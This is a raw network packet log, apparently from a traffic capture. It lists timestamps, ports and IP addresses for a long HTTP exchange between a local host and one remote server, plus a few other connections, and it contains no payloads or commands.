Dec 9, 2024 21:09:50.499605894 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:50.578720093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.578783035 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.578835011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.578943968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.579946041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.579988956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.580059052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.580096006 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.582097054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.582143068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.582304001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.582469940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.584391117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.584537983 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.584575891 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.586575985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.586617947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.586730003 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.586770058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.588809967 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.588857889 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.588893890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.588928938 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.591171980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.591214895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.591321945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.591353893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.593195915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.593241930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.593302965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.593344927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.595145941 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.595192909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.595220089 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.595266104 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.597280979 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.597325087 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.597352028 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.597388983 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.599400997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.599453926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.599489927 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.599534035 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.601311922 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.601360083 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.601469994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.601515055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.603514910 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.603527069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.603550911 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.603569984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.605231047 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.605292082 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.605449915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.605514050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.607167959 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.607430935 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.607505083 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.609067917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.609117031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.609225035 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.609263897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.611053944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.611113071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.611224890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.612561941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.612926960 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.612978935 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.613039017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.613073111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.614819050 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.614864111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.615098000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.615138054 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.616641045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.616836071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.616858006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.616911888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.618593931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.618649960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.618813038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.618855953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.620388031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.620435953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.620704889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.620771885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.622391939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.622437000 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.622613907 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.622658014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.624609947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.624660015 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.624670982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.624692917 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.626072884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.626157045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.626179934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.626218081 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.627819061 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.627895117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.627945900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.629697084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.629940987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.629987955 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.631731987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.631772041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.631891012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.631978035 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.633435011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.633511066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.633539915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.633596897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.635229111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.635279894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.635401964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.635446072 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.637176991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.637223959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.637481928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.637537956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.638997078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.639255047 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.639307976 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.640984058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.641119003 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.641154051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.642719030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.642765045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.642971039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.643934011 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.644602060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.644665003 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.644953012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.644996881 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.646423101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.646507025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.646783113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.646845102 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.648302078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.648338079 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.648452044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.648500919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.650296926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.650424004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.650563002 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.650762081 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.652282000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.652352095 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.652410030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.652455091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.653979063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.654026031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.654328108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.654460907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.655734062 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.655777931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.655843019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.655884981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.657574892 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.657629967 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.657896042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.657970905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.659437895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.659493923 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.659842968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.659878969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.661323071 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.661370039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.661432981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.661470890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.663228989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.663985014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.663995981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.664036989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.665028095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.665345907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.665411949 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.665479898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.666868925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.666953087 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.667217016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.667275906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.668843985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.668895006 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.668972969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.669007063 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.670658112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.670712948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.671238899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.671647072 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.672580004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.672621012 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.672980070 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.673019886 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.674325943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.674365997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.706777096 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.706804991 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.706932068 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.707226992 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.707236052 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.770896912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.770911932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.770956993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.770987988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.771568060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.771595955 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.771605968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.771625996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.772624016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.772809029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.772854090 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.774208069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.774432898 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.774462938 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.774477959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.775546074 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.775597095 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.775979996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.776027918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.777326107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.777376890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.777518034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.777559996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.778531075 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.778599024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.778660059 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.779925108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.779989958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.780453920 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.780514956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.781291962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.781351089 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.781718016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.781768084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.782912970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.783011913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.783174992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.783216000 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.784383059 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.784401894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.784445047 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.785540104 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.785592079 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.785650015 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.786873102 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.786932945 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.786986113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.787080050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.788305044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.788506031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.788532019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.788543940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.789556980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.789735079 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.790046930 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.790083885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.790858030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.790896893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.791047096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.791094065 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.792216063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.792262077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.792309046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.792381048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.793543100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.793626070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.793941975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.794003010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.794862032 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.794923067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.795336962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.795391083 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.796123028 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.796137094 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.796173096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.797569990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.797646046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.798402071 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.798449039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.799072027 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.799230099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.799351931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.799446106 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.799994946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.800151110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.800164938 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.800187111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.801256895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.801316023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.801387072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.801424026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.802582979 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.802625895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.802795887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.802897930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.803932905 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.804001093 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.804052114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.804086924 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.805191040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.805233955 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.805366993 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.805408001 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.806476116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.806519985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.806747913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.806826115 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.807842016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.807900906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.807981968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.808047056 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.808993101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.809031010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.809112072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.809146881 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.810324907 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.810364962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.810460091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.810492992 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.811503887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.811547041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.811630964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.811691046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.812763929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.812804937 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.812949896 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.813014030 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.814162016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.814224005 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.814383030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.814452887 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.815377951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.815764904 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.815824032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.816730022 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.816775084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.816850901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.816925049 CET	49969	80	192.168.2.6	185.215.113.16
